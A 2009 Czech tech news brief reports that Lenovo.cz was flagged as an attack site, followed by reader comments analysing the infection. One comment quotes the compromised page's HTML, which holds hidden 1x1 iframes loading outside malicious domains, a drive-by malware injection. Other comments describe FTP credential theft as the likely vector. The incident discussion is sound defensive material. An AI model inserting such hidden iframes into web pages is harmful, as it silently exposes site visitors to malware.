Web Lenovo.cz označen za útočnou stránku

21. 4. 2009

Pokud ve Firefoxu navštívíte web Lenovo.cz, prohlížeč vás na něj odmítne pustit a tvrdí, že je to „Podezřelá útočná stránka!“ (screenshot). Podle databáze firmy Google, která poradenství pro tento bezpečnostní mechanismus zajišťuje, se na stránkách vyskytuje škodlivý kód. Ten se do počítače návštěvníka instaluje bez jeho vědomí. Proto je web Googlem označen jako nebezpečný.

Našli jste v článku chybu?

Zasílat nově přidané názory e-mailem

Aktualita je stará, nové názory již nelze přidávat.

21. 4. 2009 22:54

Slávek (neregistrovaný)

Řekl bych, že Firefox ví, co říká.
Na stránce je totiž následující:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>

<head>

<title>Lenovo Česká republika</title>

<meta http-equiv="REFRESH" content="0;url=http://www.lenovo.com/cz/"></HEAD>

<BODY><iframe src="http://betworldwager.cn/in.cgi?income69" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://betworldwager.cn/in.cgi?income68" width=1 height=1 style="visibility: hidden"></iframe>

</BODY>

</HTML><iframe src="http://peskostruikaz.com/?click=192438D" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="http://nyoflak.com/?click=3C5DCB" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
21. 4. 2009 23:24

anonymní

Jsem si to wgetnul a nikde to nevidím... :/
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 0:46

stepan (neregistrovaný)

ja jsem to wgetnul ted a je to tam porad, nekdo jim to hacknul :)
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 8:09

Ondřej Tůma

Podle vseho jde o virus, ten ziskava pristupove udaje z Total Commanderu webmastera a nasledne pres ne nahrava nove / modifikovane soubory.

Setkal sem se zatim s tremi variantami:
* frame - viz lenovo.cz
* .htaccess - ten presmerovava pristupy napr. z google.com
* js vir nacpanej primo do html kodu stranky
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
21. 4. 2009 22:54

Ondřej Tůma

Tohle je docela mazec, uz ani nevim kolikaty web o kterem vim. Oni si ti windowsari nedaji pokoj a porad budou pokouset stesti :D

PS: (ja mam co rikat, na mem linuxu jsou pomerne casto spoustene aplikace IE a TotalCommander :S)
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
21. 4. 2009 23:47

freshmouse (neregistrovaný)

Já tam šel, ale ani se mi to pořádě nenačetlo... Co to přesně má dělat?
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 1:27

LENIN POWER! (neregistrovaný)

Antivirak mi dal varovani na nejaky obfustrated JS virus kdyz jsem vlezl na stranku. Dal jsem ignore a antivirak mne tam pustil na tu stranku lenovo.cz ktera byla redirect na lenovo.com.

Hned za chvili zarval na viry Trojan horse Agent_r.MU a Trojan horse SHEAUR2.ABMK tyhlety dva exace nasel v c:\windows\temp asi je tam ten JS stahnul.
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 8:18

bez přezdívky

Se máš s čím chlubit
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 8:47

anonymní

Je to lama - ať s Leninem, nebo bez něj :-)
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 10:59

slezi (neregistrovaný)

Tak treba to ma na virtualu :-)
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 8:55

Tomáš Macek

u nekolika webu se mi stala stejna vec a minimalne u jednoho webu mam jistotu ze to nebylo ukradenim hesla z ftp klienta (v mem pripade Far manager), ale odposlechem FTP spojeni...
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 12:02

treebeard (neregistrovaný)

spýtam sa ako lama, nemal by aj správca servera zodpovedať za to, či mu tam niekto nakopíruje škodlivý kód?
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 13:39

majkls (neregistrovaný)

za to má odpovídat webmaster. ale protože řada wemasterů jsou "nekvalifikované síly", tak se ta "povinnost" pomalu přesouvá na správce serveru. nicméně nelze uhlídat vše.
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
22. 4. 2009 14:32

Sten (neregistrovaný)

To záleží na způsobu, jakým se tam ten kód dostane. Pokud je to bezpečnostní dírou (včetně povolení nešifrovaného FTP a následného odposlouchávání), pak je zodpovědnost na bedrech správce serveru. Pokud je to blbostí webmastera (např. tím, že má v počítači trojského koně nebo někam hesla poslal nešifrovaná), pak je to jeho zodpovědnost.
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
23. 4. 2009 10:42

treebeard (neregistrovaný)

neriešim, kto je zodpovednejší, ale tak ako antivír v počítači slúži na to, aby stlmil aj blbosť užívateľa, myslím že aj na serveri by mali bežať určité programy (antivíry) na ochranu aj pred škodlivým kódom, ktorý sa tam dostáva legálnou cestou. Situácia, že si na nejakom platenom hostingu za pár stovák môžem stvoriť čkokoľvek, sa minezdá. samozrejme, ak stvorím zbrusu nový škodlivý kód, som vinný iba ja. Ale ak tam umiestnim dávno známe kódy, správca servera by mi v tom mal zabrániť. Je to asi významnejšie ako cenzurovať diskusné príspevky.
- Zobrazit celé vlákno
- Skok na další nový názor. K navigaci lze použít i klávesy N pro následující a P pro předchozí nový názor
23. 4. 2009 11:33

LENIN POWER!

Co byste jeste od webhostingu nechtel aby pro vas delali. Dneska se webhosting uz dela prakticky za naklady. Hostujeme asi 2,500 dedicated masin a nehodi to ani podelany mego dolaru obratu mesicne. Srani je s tim znacne, porad chodi stiznosti a nekolikrat do mesice musite naklusavat k soudu.

V tomhle oboru stejne o nic nejde, z tech masin si nekoupilo backup ani 10% lidi. Kdyz jim tam chcipne disk tam pak prijdou o data, naserou se a jdou jinam. Pritom kdyz se divam co jim tam bezi tak jim to vydelava radove i tisice usd mesicne, ale holt backup je zbytecny luxus.
- Zobrazit celé vlákno

Zasílat nově přidané názory e-mailem

Sdílet

Autor zprávičky

Petr Krčmář

Web Lenovo.cz označen za útočnou stránku

Sdílet

Autor zprávičky

Petr Krčmář

Dále u nás najdete

Rýmovník pomáhá při nachlazení, nehodí se však pro každého

Ulož.to se chce vyhnout osudu Hellspy

CZ.NIC chystá dva nové routery Turris

Cloud není levný. Jak ušetřil přesunem na vlastní železo?

Šest potravin, které vypadají dietně, ale nezhubnete po nich

Nemoc, kterou trpí Bruce Willis, vede k rozkladu osobnosti

Důlky ve tvářích se považují za roztomilé. Proč je nemá každý?

První pomoc při bolesti beder. Cviky, které vám přinesou úlevu

Konec televizních poplatků na Slovensku se blíží

Lidl končí s bedýnkami s levnou zeleninou. Nahradí je taškami

Ať nám Google a Netflix platí, žádají evropští operátoři

Úložiště Hellspy končí

Xixoio tvrdí, že je regulované. Není

Chtěly dítě, místo toho přišla předčasná menopauza

Armáda ČR registruje stovky zájemců o spojaře nové generace

Deset obskurních funkcí Windows, které vás ohromí

Hackeři ukradli data připravované hry Stalker 2: Heart of Chornobyl

Podnikání žen? Zájem studentek opadá, Česko dusí stereotypy

Může pár let staré úřední PDF ztratit platnost?

Tinnitus: zvuk, který neexistuje, a přesto ho slyšíte. Co s ním?